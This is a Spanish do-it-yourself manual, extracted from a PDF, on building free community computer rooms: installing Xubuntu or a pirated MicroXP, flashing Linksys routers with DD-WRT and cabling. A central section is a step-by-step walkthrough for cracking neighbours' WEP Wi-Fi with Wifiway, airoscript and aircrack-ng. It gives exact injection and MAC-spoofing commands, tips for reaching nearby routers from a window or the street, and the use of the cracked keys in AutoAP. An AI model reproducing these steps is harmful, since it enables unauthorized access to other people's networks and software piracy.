Un Sistema operativo (SO) es un programa informático que actúa de interfaz entre los dispositivos de hardware y el usuario. En esta guia nos centraremos en los dos con mas comunes para PC: Ubuntu y Windows XP.

Este ultimo, al ser mas popular, cuenta con una gran variedad de programas. Microsoft, (la empresa creadora) cobra cerca de 200€ la licencia original de su programa. Por eso es muy comun encontrarse con muchos ordenadores con numeros de serie crackeados. Sin embargo, existe una alternativa a este sistema: GNU/Linux .Ubuntu es una distribucion basada en Debian con muchas aplicaciones que nos facilitan la instalacion de programas, configuracion y una gran variedad de opciones con codigo libre para utilizar.

Para comenzar a instalar el sistema operativo necesitamos contar con un CD o un USB de instalacion y este debe ser booteable. Esto significa que al arrancar el ordenador inicie el dispositivo de almacenamiento y no el disco duro. Lo primero que debemos descargar es la imagen ISO del sistema operativo. En el portal de descargas Taringa.net hay muchisimas versiones o distribuciones de diferentes SO. Luego de descargarlo, dependiendo si vamos a utilizar un CD deberemos quemarlo con algun programa para grabar (Nero/Brasero) o si tenemos un USB lo haremos igual que describimos en el tutorial de Warchalking (utilizando el unetbootin)

GNU/ Linux Xubuntuhttp://xubuntu.org

Ubuntu a revolucionado el mundo de linux. Cada vez es mas comun encontrarse con nuevos usuarios felices de haberse pasado al codigo libre, donde instalarse un programa es muy sencillo ya que no se necesita de cracks ni de numeros de serie. En esta guia nos vamos a centrar especialmente en el Xubuntu, ya que es la version para ordenadores con menos recursos.

El soporte de drivers ha sido su gran logro; una vez que tenemos instalado Ubuntu es muy raro que nos falle algun dispositivo. Dependiendo de nuestras necesidades tenemos una version especifica, con programas ya instalados o reformas en el entorno grafico.Cada vez son mas los programas disponibles dentro de Linux : OpenOffice para editar textos, Firefox para navegar, o muchisimas otras opciones mas de codigo abierto.

Para instalar el sistema operativo debemos anteriormente descargarnos la imagen ISO desde la pagina (http://xubuntu.org) y quemarla en un CD o en un USB para que arranque desde el inicio. Al bootearlo nos encontraremos una pantalla como esta:

Si nos descargamos la version de LiveCD, esto nos permitira utilizar el sistema operativo sin instalacion alguna. Muy util si queremos probar la deteccion del hardware o si el sistema es estable en el rendimiento y proceso de programas. Una vez que reiniciemos todo el sistema volvera a establecerse por defecto, deshaciendo las configuraciones realizadas. Para utilizar el sistema operativo desde el ordenador le debemos pinchar al iconoI Instalar en el escritorio

Los pasos a seguir son muy faciles, dandonos a elegir el idioma, el uso horario, la configuracion del teclado y la particion de los discos duros. Este es el momento donde le indicaremos si queremos utilizar todo el disco o haremos una division para tener varios sistemas operativos

- Formatear todo el disco duro. Si queremos una instalación limpia de Xubuntu, elegimos esta y nos borrara todo el contenido del disco- Espacio libre contiguo. Se usara un trozo de espacio libre en su disco duro para instalarse, la opción más recomendable si desea conservar su antiguo sistema operativo y/o sus datos.- Particionamiento manual. Para usuarios avanzados, debemos saber cuanto le daremos en cada particion para configurarlo manualmente.

13

Page 14: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Una vez configurado, solo nos queda indicarle el nombre de usuario junto con la contrasena y esperar que finalize la instalacion por completo. Ya tendremos nuestro ordenador listo para ser utilizado.

Lo primero que debemos hacer es instalar las nuevas actualizaciones que esten disponible hasta el dia de la fecha: para esto necesitaremos tener internet (lo veremos mas adelante). Buscamos la terminal (Aplicaciones / Terminal) y escribimos:

sudo apt-get update

sudo apt-get upgrade

Nos pedira la constrasena y en el caso que exista una nueva distribucion del Ubuntu nos lo actualizara preguntandonos algunas configuraciones. Este proceso puede llevar bastante tiempo.

Una vez actualizado, hay un comando muy utilizado para descargar los programas e instalarlos automaticamente. En el siguiente ejemplo veremos como instalar los soportes para escuchar mp3, ver DVDs, y varias cosas mas

sudo apt-get install ubuntu-restricted-extras

Si el ordenador va a ser usado para dar clases, existe un script muy util para cambiar el look de Ubuntu a XP, esto beneficia el primer encuentro entre el usuario inexperto y Linux ya que se asemeja mucho al entorno grafico de Windows. El script puede ser descargado en http://ubuntu.online02.com/files/XpGnome.tar.gz , se descomprime y se ejecuta el archivo ./install

Windows 9x/XP

Un 90% de equipos tirados se debe a una sola razon: Windows. Las ultimas versiones de este sistema operativo son inecesariamente pesadas para llevar al consumo de la tecnologia a una nueva etapa con equipos mas potentes y costosos. El WindowsXP sigue siendo el mejor desarrollado hasta ahora, habiendo versiones con instalaciones desatendidas muy sencillas de utilizar, completamente automatizada trayendo ya instalados los programas necesarios para utilizarlo. Estas versiones son conocidas como UE (Unattended Edition) y en concreto nos centraremos con la MicroXP, ya que es ideal para equipos con poco procesador y memoria.

MicroXP es una variante del WindowsXP, cuya intención es aprovechar el máximo rendimiento desechando todo lo innecesario para su funcionamiento. Por ello es uno de los sistemas operativos más rápido de usar y de instalar, batiendo tiempos récords de instalación y formateo. Ocupa menos de 100mb.

Lo descargaremo de internet googleando microxp site:taringa.net. Lo quemamos en un CD o en un USB, reiniciamos el ordenador comprobando en la BIOS que nuestro dispositivo sea el prioritario para bootear. Una vez que arranque, la primera pantalla con la que interactuaremos sera la que nos pregunte en que particion querremos instalar el Windows

14

Page 15: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

A partir de esta pantalla empezara a copiar al disco duro todos los archivos necesarios para su instalacion, y luego de finalizar este proceso se reinciara comenzando a ejecutarse en modo grafico para detectar los dispositivos, configurarlos y poner a punto el ordenador con el maximo rendimiento posible. Este proceso, al ser desatendido, no nos preguntara absolutamente nada. Ya traera insertada el numero de serie, configurara las redes y el nombre del equipo automatica

Desventajas de Windows

Spyware / Virus: El usuario medio no conoce todos los programas que instala, por eso mientras mas tiempo estemos utilizandolo agregandole software y navegando por internet las posibilidades de infectar al equipo con programas que recopilan nuestra informacion aumentan. Estos programas se denominan Spywares y generalmente el antivirus no lo detecta como tal. Debemos descargarnos la version gratuita del Adware para limpiar todo lo que nos realentiza el ordenador. El antivirus NOD32 (gratuito) es la mejor solucion en caso que tengamos un virus: es liviano y funciona perfectamente.

•Drivers: Otro problema general son los drivers mal instalado. Pinchando en Mi PC / Administracion de Dispositivos debemos verificar si hay algun hardware con el simbolo de advertencia o la cruz roja. Apagamos el ordenador, desconectamos la placa y nos fijamos en la etiqueta la marca y el modelo de la tarjeta. Una vez con esta informacion buscamos por internet la pagina del fabricante, nos descargamos el driver actualizado y lo reinstalamos nuevamente.

•Numero de serie: En las instalaciones, muchas veces tendremos problemas con los numeros de serie; estas son una convinacion de letras y numeros muy larga en la que el sistema corroborara si es una copio u original.

•Problemas del registro: Windows nos puede recibir al iniciarse con diversos mensajes y codigos en ventanas de advertencia sobre un problema en el sistema operativo. Solucionarlos es engorroso, debemos buscar en el regedit la cadena exacta y conocer la causa para poder acabar con el fallo. No es recomendable modificar nada sin hacer un backup primero.

Formatear / Reinstalar: Todos los problemas del sistema operativo se iran en el caso que instalemos una version limpia . Como comentamos al principio, lo mas recomendable es Windows UE, una version que viene con muchos programas preinstalados y un sistema automatizado de instalacion muy facil de utilizar.

Fuente de Imagenes : http://sonic840.deviantart.com/art/Computer-hardware-poster-1-7-111402099

Fuente de Información en las descripciones: http://es.wikipedia.com

Lugar recomendable para descargarse los archivos: http://taringa.net

Todo lo demas: http://oldt.info

15

Page 16: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Conseguir el internet Teniendo todos los ordenadores que querramos para nuestro espacio telematico, llego el momento de habilitar el internet dentro del lugar. Para esto necesitamos que haya redes wireless en la zona abiertas o con encriptacion WEP.

En el caso que haya redes de nombre WLAN_XX o JAZZTEL, mejor que mejor. Para llevar a cabo este proceso utilizaremos el WifiWay.

Que es Wifiway?http://foro.seguridadwireless.net

Wifiway es una distribucion GNU/Linux pensada y diseñada para la auditoría de seguridad de las redes WiFi. Para utilizar este sistema operativo no necesitamos instalar ni formatear el disco duro, ya que lo ejecutaremos LiveUSB desde un pendrive. Incluye una larga lista de herramientas de seguridad y auditoría inalámbrica listas para ser utilizadas, especializadas en la auditoría Wireless, Bluetooth y demas interfaces.

Como se utiliza?Este tutorial esta orientado a usuarios de Ubuntu 9.04 (GNU/Linux).Antes que nada debemos descargar la imagen de grabacion (lo podemos googlear escribiendo wifiway download) Tenemos dos formas de ejecutar este livecd: quemandolo en un disco cd-rom o creando un usb booteable. Este ultimo es el que resulta mas practico, ya que las netbooks no llevan lectoras de cdrom. Para crear un usb booteable primero se debe formatear en fat32; abrimos una consola y ejecutamos

sudo gparted

Cuidado! Esta aplicacion borrara toda la informacion que tenemos en el pendrive. Nos abrira un programa para formatear discos, con entorno grafico muy intuitivo y bastante facil de usar. Seleccionamos nuestra unidad usb, la podremos identificar por su tamaño y porque generalmente se encuentra en /dev/sdb1 . Hacemos click derecho sobre la particion y la desmontamos con la opcion Umonut. Nuevamente hacemos click sobre la particion y veremos que nos ha habilitado muchas mas opciones: elegiremos Format toy la opcion FAT32. Le damos al boton Apply, nos formateara el usb y finalizamos el programa. Paso seguido nos descargaremos el UNetbootin. Para esta aplicacion necesitaremos los packetes mtools y 7z.

sudo apt-get install mtools 7z

Ya teniendo estos paquetes instalados, le damos permisos de ejecucion al unetbootin y lo ejecutamos:

sudo chmod +x unetbootin-linux-35

sudo ./unetbootin-linux-356

Nos abrira una ventana como esta

16

Page 17: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Seleccionamos la opcion Disk Image y buscamos el archivo wifiway-1-final.iso . Corroborar que esta montado el usb, luego de formatearlo no suele estar montado (tan facil como conectar y desconectar). Le damos a OK y la operacion tardara 15 minutos. Ya tenemos nuestra liveusb creada, reiniciamos y arrancamos la portatil desde el pendrive con la opcion Select boot device de nuestra bios. Elegimos la primera opcion de booteo y cada vez que nos aparezca una pantalla azul le daremos a la tecla Enter.

El sistema tardara un poco en iniciarse, en el momento que nos aparezca esta pantalla ya tendremos todo listo para comenzar a auditar tecleando startx. Nos abrira un entorno grafico (KDE).

Modo Monitorhttp://www.aircrack-ng.org/doku.php

Lo primero que debemos averiguar es que chipset tiene nuestra placa de red wireless y si esta se puede poner en modo monitor. Si la tarjeta es usb hacemos un lsusb , en caso contrario tecleamos lspci. Este comando nos dira quien es el fabricante del chipset. En nuestro caso, es una Atheros. El WifiWay funciona bien tambien con las Ralinks r61 y las Intel ipw3945. Lo importante es saber si se puede poner en modo monitorPara averiguar el chipset de nuestra tarjeta y saber si se puede poner en modo monitor

• Utiliza un buscador en internet con las palabras ”<modeo de tarjeta> chipset” o ”<modelo de tarjeta> linux”.• Revisa la página web del fabricante de la tarjeta. Algunos de ellos dicen el chipset que usan en sus tarjetas.• En algunas tarjetas (por ejemplo las PCI), es fácil ver físicamente el chip wireless. Lee el nombre que tiene impreso como por

ejemplo Atheros, Texas Instruments, etc. El número del chipset tambien está impreso habitualmente.

17

Page 18: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

• El comando “dmesg” con frecuencia contiene mensajes indicando que tarjeta se ha detectado y cual es su chipset.Si la tarjeta es PCI, necesitas usar el comando “lspci” para ver cuales son los identificadores de la tarjeta.Si la tarjeta es USB, necesitas usar el comando “lsusb” para ver cuales son los identificadores de la tarjeta. En algún caso, “lsusb” no funciona (por ejemplo si usbfs no está montado), pero puedes conseguir los identificadores del “kernel log” usando “dmesg” (o en /var/log/messages). El comando “lsmod” puede ser usado para ver que módulos están cargados en nuestro sistema. Si la tarjeta wireless ha sido auto-detectada puedes averiguar el chipset analizando cual es el módulo que ha sido cargado.

•Una vez que sabemos los datos, nos dirigimos a Menu Inicio ->Wifiway y elegimos la opcion “Atheros” (si es la que tenemos) y luego Add Interface (modo monitor). Nos abrira una ventana con un iwconfig en el cual antes de cerrarla podremos fijarnos si va todo ok. Esta es la manera automatica que tiene el Wifiway, hay maneras mas complicadas. Mas adelante vamos a ver cuales.

aircrack-ng & airoscript

La suite aircrack-ng son una serie de programas ideales para hacer warchalking. En este caso vamos a utilizar elairodump-ng, aireplay-ng y el aircrack-ptw .Cada uno de estos tiene una funcion: el primero captura los paquetes que necesitamos en la desencriptacion. Aireplay inyecta datos para que el router nos siga mandando IVS, y por ultimo el aircrack-ptw es quien decodifica la informacion. Igual que al poner el modo monitor, tenemos dos maneras de utilizarlos. Teniendo en cuenta que esto se va a utilizar en la calle, necesitamos un script que nos automatize la auditoria. Ahi entra el airoscript.

Para ejecutarlo nos vamos al mismo menu de antes (K) y en la seccion Wifiway->Wireless seleccionamos la opcionairoscript new (spain). Tambien se puede ejecutar desde una consola tecleandoairoscript.chiNos recibira con la descripcion del script y lo primero que nos preguntara sera

Selecciona Resolución de Pantalla

### 1) 640x480 ### ### 2) 800x480 ### ### 3) 800x600 ### ### 4) 1024x768 ### ### 5) 1280x768 ### ### 6) 1280x1024 ### ### 7) 1600x1200 ###Seleccionamos la resolucion de pantalla que queremos. Lo siguiente que nos pregunta es nuestra interface de red wireless

Selecciona tu interface: (athX for madwifi devices)

1) eth0 2) wifi0 3) ath0 En mi caso, pulso el 3. A partir de aca nos muestra el menu general

Selecciona una Opción### ### 1) Escanear -Escanear Objetivos### ### 2) Seleccionar -Seleccionar Objetivo### ### 3) Ataques -Atacar Objetivo### ### 4) Crackear -Conseguir la Key### ### 5) Autenticación Falsa -Cliente Falso en Objetivo### ### 6) Desautentificar -Desautentificar del Objetivo### ### 7) Otros -Utilidades Varias### ### 8 ) Inyección -cambiar al Menu de Inyección### ### 9) Wlandecripter -Especifico redes Wlan_XX### ### 10) Dlinkdecripter -Especifico redes DlinkWireless### ### 11) Stkeys -Especifico Routers SpeedTouch### ### 12) Jazzteldecrypter -Especifico redes Jazztel_XX

18

Page 19: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

La numeracion nos facilita mucho la comprension del programa (vamos a ir seleccionando las opciones en orden). La primera es para escanear los AP que hay en el lugar. Le damos al 1 y nos abrira la siguiente ventana

Selecciona especificacion del AP

### 1) Sin filtros ### ### 2) OPN ### ### 3) WEP ### ### 4) WPA ### ### 5) WPA1 ### ### 6) WPA2 ###

Este tutorial se orienta a la encriptacion WEP, por eso vamos a filtrar que solo busque esta especificacion. Le damos al 3 y nos sale:

Selecciona canal a usar

### 1) Salto de Canales ### ### 2) Canal Especifico(s) ###

Vamos a ir saltando canales para insepccionar un poco como esta la zona. Elegimos el 1 y nos abrira una terminal nueva con el airodump. Se veria algo como esto:

CH 9 ][ BAT: 26 mins ][ Elapsed: 0 s ][ 2009-08-02 17:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:XX:XX:XX:XX:XX 15 2 0 0 3 54 WEP WEP WLAN_ 00:XX:XX:XX:XX:XX 21 2 0 0 4 54e. OPN FON_A 00:XX:XX:XX:XX:XX 5 1 1 0 11 54 WEP WEP JAZZT 00:XX:XX:XX:XX:XX 29 4 0 0 3 54 WEP WEP WLAN_ 00:XX:XX:XX:XX:XX 15 4 0 0 2 54e. WEP WEP YaCom

00:XX:XX:XX:XX:XX 00:XX:XX:XX:XX:XX 13 0- 2 0 3 00:XX:XX:XX:XX:XX 00:XX:XX:XX:XX:XX 58 48-54e 18 14 00:XX:XX:XX:XX:XX 00:XX:XX:XX:XX:XX 16 0-54e 0 6

La primera columna nos dira el bssid del router. Este es el MAC (numero de identificacion unica) del aparato. El PWR es la intensidad de la señal con la que recibimos la señal. Beacons es toda la informacion que snifamos, nos interesan los #Data. De ahi sacaremos los datos para desencriptar nuestra red seleccionada. Buscamos la que mayor cantidad de numeros tenga en la columna Data, nos fijamos que en la columna ENC sea WEP y localizamos el nombre en la ultima columna (ESSID). Con todos estos datos apretamos CTRL + C y cerramos la ventana. Volveremos al menu principal.

2) Seleccionar -Seleccionar Objetivo ###

Listado de AP'S Objetivo

# MAC CHAN SECU POWER #CHAR SSID

1) 00:XX:XX:XX:XX:XX 3 WEP 3 7 WLAN_9A 2) 00:XX:XX:XX:XX:XX 1 WEP 4 7 ONO8499 3) 00:XX:XX:XX:XX:XX 1 WEP 4 12 Livebox-5318 4) 00:XX:XX:XX:XX:XX 2 WEP 6 11 YaComDF5701

Seleccionamos al que mayor cantidad de data encontremos y nos preguntara si queremos seleccionar un cliente

### Quieres seleccionar un cliente? ###

### 1) Si ### ### 2) No ### ### 3) Intentar localizar ### ### 4) Listado de Clientes ### ### 5) Corregir el SSID Primero ###

19

Page 20: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Le damos a la primera opcion, en caso que haya un cliente nos dara la MAC, sino nos volvera a la pantalla principal. Llego el momento del ataque

### 3) Ataques -Atacar Objetivo ### #######################################

### Ataques sin clientes ### ### 1) Falsa auth => Automatica ### ### 2) Falsa auth => Interactiva ### ### 3) Fragmentation ### ### 4) Chopchop ### ### 5) Cafe Latte ### ### 6) Hirte ###

#######################################

### Ataques usando un cliente ### ### 7) ARP replay => Automatico ### ### 8 ) ARP replay => Interactivo ### ### 9) Fragmentation ### ###10) Frag. attack con cliente ### ###11) Chopchop ###

#######################################

### Injeccion si se genera el xor ### ###12) ARP inject desde xor (PSK) ### ###13) Volver al menu Principal ###

Los ataques se dividen en tres seccione: sin cliente, con cliente y con el xor. Las opciones mas comunes son la (1) y la (7). Seleccionando la (1) nos abrira tres ventanas: una con el airodump capturando, y otras dos con aireplay (uno autentificandose y otro inyectando arp). Ahora deberemos esperar que #Data tenga un numero entre 5000 y 10000. Esto tambien depende del tipo de red a la que estemos auditando: en el caso de las WLAN_XX he desencriptado con 25ivs de data. Lo mismo con Jazztel. Cuando veamos que la cosa va bien, cerramos todo con el CTRL + C y probamos en crackear. Como se menciona antes, dependiendo de la red podemos elegir las siguientes opciones

### 4) Crackear -Conseguir la Key ###

### 9) Wlandecripter -Especifico redes Wlan_XX ### ### 10) Dlinkdecripter -Especifico redes DlinkWireless ### ### 11) Stkeys -Especifico Routers SpeedTouch ### ### 12) Jazzteldecrypter -Especifico redes Jazztel_XX ###Finalmente, se nos abrira la ventana del aircrack-ptw y comenzara algo muy parecido a matrix! Ira probando las diferentes convinaciones y si temos la contraseña nos aparecera un mensaje en rojo como esto:

Aircrack-ng 0.7 r130

[00:00:10] Tested 77 keys (got 684002 IVs)

KB depth byte(vote)

0 0/ 1 AE( 199) 29( 27) 2D( 13) 7C( 12) FE( 12) FF( 6) 39( 5) 2C( 3) 00( 0) 08( 0) 1 0/ 3 66( 41) F1( 33) 4C( 23) 00( 19) 9F( 19) C7( 18) 64( 9) 7A( 9) 7B( 9) F6( 9) 2 0/ 2 5C( 89) 52( 60) E3( 22) 10( 20) F3( 18) 8B( 15) 8E( 15) 14( 13) D2( 11) 47( 10) 3 0/ 1 FD( 375) 81( 40) 1D( 26) 99( 26) D2( 23) 33( 20) 2C( 19) 05( 17) 0B( 17) 35( 17) 4 0/ 2 24( 130) 87( 110) 7B( 32) 4F( 25) D7( 20) F4( 18) 17( 15) 8A( 15) CE( 15) E1( 15) 5 0/ 1 E3( 222) 4F( 46) 40( 45) 7F( 28) DB( 27) E0( 27) 5B( 25) 71( 25) 8A( 25) 65( 23) 6 0/ 1 92( 208) 63( 58) 54( 51) 64( 35) 51( 26) 53( 25) 75( 20) 0E( 18) 7D( 18) D9( 18) 7 0/ 1 A9( 220) B8( 51) 4B( 41) 1B( 39) 3B( 23) 9B( 23) FA( 23) 63( 22) 2D( 19) 1A( 17) 8 0/ 1 14(1106) C1( 118) 04( 41) 13( 30) 43( 28) 99( 25) 79( 20) B1( 17) 86( 15) 97( 15) 9 0/ 1 39( 540) 08( 95) E4( 87) E2( 79) E5( 59) 0A( 44) CC( 35) 02( 32) C7( 31) 6C( 30) 10 0/ 1 D4( 372) 9E( 68) A0( 64) 9F( 55) DB( 51) 38( 40) 9D( 40) 52( 39) A1( 38) 54( 36) 11 0/ 1 27( 334) BC( 58) F1( 44) BE( 42) 79( 39) 3B( 37) E1( 34) E2( 34) 31( 33) BF( 33)

20

Page 21: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

KEY FOUND! [ AE:66:5C:FD:24:E3:92:A9:14:39:D4:27:4B ] Tenemos la clave! En caso contrario nos dira qu probemos en los proximos 50000 IVS. Ya solo nos queda saber como anotar la clave para que el vecino venga con su portatil y le de uso a esta red liberada

Modo Ninja- Poner en modo monitor la tarjeta y cambiar la MAC

airmon-ng stop athX (esta es la interface de red wifi)

ifconfig ath0 down

macchanger ath0 00:11:22:33:44:55

ifconfig ath0 up

airmon-ng start wifi0 - Localizar redairodump-ng ath0 - Sniffairodump-ng -c XX --bssid 00:11:22:33:44:55 -w dump ath0 - Inyectaireplay-ng -1 6000 -o 1 -q 10 -e vulnerable -a 00:11:22:33:44:55 -h 00:18:84:11:22:33 ath0

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:18:84:11:22:33 ath0

– Crackaircrack-ptw dump-01.cap

Tips

1. Mientras mas cerca del router estemos, mas probable es que los IVS suban rapidamente. Lo recomendable es estar cerca de una ventana, un tejado o en la calle.

2. Utilizar una tarjeta usb wifi con un cable alargador (macho/hembra) y sacarlo por la ventana hacia la calle. Tambien le podemos hacer un plato parabolico con algun recipiente de metal concavo dejandole un agujero en el medio para sacar la tarjeta

3. Hacer las auditorias en un horario donde sea probable que la gente se encuentre navegando. Esto puede ser entre 18hs hasta las 24hs.

21

Page 22: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Crear la red cableadaSeguramente los ordenadores reciclados no vengan con tarjetas wireless. Por eso mismo crearemos un punto de acceso (AP) para poder cablear y asi tener un internet mas estable en nuestro espacio

Que Necesitamos?Para montar la red en local de acceso libre y grauito a internet necesitamos:

• Un Linksys WRT54G/GL/GS• Un ordenador con UBUNTU/GNULinux• Cable de red / Conectores RJ45 / Crimpeadora• Un tupperbox de cocina del mismo tamaño que el Linksys• Un Wok de cocina (se usa para cocinar comida asiatica)• Los clientes seran maquinas pIII recicladas corriendo en Xubuntu, aunque este proyecto lo profundizaremos en el tutorial

Trashware

Que es WRT54x?http://es.wikipedia.org/wiki/WRT54GUn router inalámbrico muy popular fabricado por Linksys, que permite interconectar varios ordenadores mediante enlaces Ethernet y 802.11g inalámbricas. Lo interesante de este modelo es que se le puede instalar un linux, y en concreto nos centraremos en elDDWRT, una version abierta del OpenWRT.Nos podemos fijar que version tenemos en la etiqueta de abajo. Las versiones que son soportadas por este fimware son:

• WRT54G v1.0, v1.1, v2.0, v2.2, v3.0, v3.1, v4.0• WRT54G v5.0, v5.1, v6.0, v8.0 (2MB flash)• WRT54GL v1.0, v1.1• WRT54GS v1.0, v1.1, v2.0, v2.1, v3.0, v4.0• WRT54GS v5.0, v6.0, v7.0 (2MB flash)

Preparar el sistemahttp://www.dd-wrt.com/wiki/index.php/EspanolEste tutorial esta orientado a usuarios de Ubuntu 9.04 (GNU/Linux).Al averiguar el modelo del router Linksys lo siguiente que debemos hacer es descargar el firmware GNU/Linux que le vamos a instalar: lo podremos encontrar AQUI . Buscamos el directorio de nuestra version y el archivo dd-wrt.v24_mini con la extension .bin

Tenemos dos maneras de cambiarle el firmware al Punto de Acceso (AP) que hemos conseguido: via web o por terminal. En caso que el router no este flasheado y cuente con el software original lo recomendable es hacerlo de la manera visual. Para eso debemos conectar el WRT54x por cable de red, averiguar cual es la IP de configuracion (generalmente 192.168.1.1) y acceder al panel de configuracion . Nos pedira loguearnos, por defecto solo debemos poner de password (sin usuario) admin . Buscamos la pestaña Administration y en la subpestaña Firmware Upgrade seleccionamos nuestro archivo

En el caso que no tengamos el usuario ni la contraseña, o tenga otro sistema instalado tambien es posible instalar el DDWrt por consola. Para comenzar necesitaremos instalar el atftp, un servidor de tftp para flashear el aparato.

22

Page 23: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

sudo apt-get install atftp

Una vez instalado, en el directorio /var/lib/tftpboot nos descargamos el firmware del DD-WRT Linksys WRT54Gx .Deberemos renombrar el firmware a un nombre mas corto: code.bin

sudo cp dd-wrt.V24_APP-0130-wrt54g.bin code.bin

Nos desconectamos de internet deshabilitando las interfaces y conectamos un cable de red del ordenador al router que debe estar desenchufado de la electricidad. Abrimos una nueva terminal y tecleamos SIN APRETAR EL ENTER.

atftp --option "mode octet" --option "timeout 60" --verbose --trace -p -l code.bin 192.168.1.1

Dejando preparada esta consola, abrimos una tercera terminal y le haremos ping a la IP del router para saber en el momento exacto para enviarle el flasheo

ping 192.168.1.1 -tFrom 192.168.1.1 icmp_seq=2 Destination Host Unreachable64 bytes from 192.168.1.1: icmp_seq=4 ttl=128 time=3.50 ms64 bytes from 192.168.1.1: icmp_seq=5 ttl=128 time=0.90 ms

En el momento que comenzamos a recibir respuesta del router, mandamos el comando del atf9tp dandole a enter y debemos esperar un rato hasta que finalize el proceso dandonos un mensaje que la transferencia a terminado. Dejamos reinciar el router y cuando nos asigna una IP abrimos el navegador y accedemos a la pagina de configuracion http://192.168.1.1

ATENCION! En el caso que se corte la conexion o la electricidad del router en el proceso el aparato quedara inutilizable (brickeado). Para volverlo a su estado original, debemos abrir el AP haciendo presion en la carcasa por la parte azul y tirando para afuera el frontal negro. Tenemos que tener todo preparado igual que cuando flasheamos desde la terminal (el router debe estar desconectado de la corriente) Encontraremos un chip INTEL al que debemos puentear con un clip o algo metalico fino los pines 15 y 16 solo unos segundos despues de enchufarle y mandarle los comandos por aftp. Este proceso es muy rustico, y podemos terminar de quemar la placa entera.

AutoAPhttp://www.dd-wrt.com/wiki/index.php/Autoap

Lo interesante de este firmware es que nos podemos enganchar a una señal de wifi (libre o con clave) y dar internet por ethernet a equipos recilados que no tienen salida por wireless. Para esto es muy util el script AutoAP, que se encarga de scanear continuamente las wifis configuradas previamente testeando su validez y conectandose a la de mayor señal. Si la conexion se pierde, automaticamente se conecta al siguiente.

Para configurar este script nos vamos a la pestaña “Administration” y en la subpestaña “Commands” y en la caja donde insertamos los comandos

nvram set autoap_prefssid="my_net*key*abcdef1234"nvram commit

23

Page 24: Manual DIY para la creación de espacios telemáticos …docshare01.docshare.tips/files/4007/40073588.pdf · cuantos pitidos (la cantidad de pitidos indica la causa): este es un problema

Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Donde pone “my_net” debemos colocar el ESSID de la red a la que nos querramos conectar seguido por un *key* donde introduciremos la contraseña. Utilizando esta nomenclatura, podremos configurarle todas las redes que tengamos. Deberia quedar asi:

nvram set autoap_prefssid="WLAN_A1*key*C00134988BD1A JAZZTEL_26*key*E00134988BD1A26"nvram commit

Ademas del prefssid, tenemos diferentes comandos para configurar el script AutoAP. Para enviarle el comando, debemos terminar con nvram commit. Alguno de estos son:

nvram set autoap_logger=”html” Nos logueara lo que va leyendo en http://RouterIP/user/autoap.htmnvram set autoap_findwep=”0″ Unicamente se conectara a las redes WEPnvram set autoap_ineturl=”www.google.com” Nos dira si esta conectado haciendole un ping a una urlnvram set autoap_prefonly=”1″ Unicamente se conectara a nuestras redes preferidas

Cableado RJ45http://es.wikipedia.org/wiki/RJ-45

h

Nuestros equipos, al ser reciclados, probablemente no cuenten con una tarjeta wifi. Por eso debemos conectarlos a internet por cable ethernet. Bajamos el cable de la azotea o balcon hasta la sala con ordenadores (calculamos cuatro metros por planta, lo maximo que puede tener un

cable son 300 metros).

c

Hacer un cable de red las primeras veces es muy complicado, debemos tener buen pulso para que los cables entren exactamente en su ranura. El conector RJ45 debe mirarse con la pestaña para abajo, colocamos los cables para que queden alineados igual que en el dibujo, lo insertamos dentro de la clavija correcta en la crimpeadora y apretamos fuertemente hasta que haga un ruido de quiebre (la pestaña de seguridad). Hacemos lo mismo en la otra punta.

Tambien es muy util probar el cable con un testeador de red, que nos indica que hilo esta mal conectado.

POE EthernetYa tenemos nuestro router conectado a internet por wifi y enviando señal por ethernet. Lo ultimo que nos falta es enviarle la energia electrica por cable RJ45, meterlo en una caja estanca para ponerlo en nuestro techo y hacerle una buena antena.

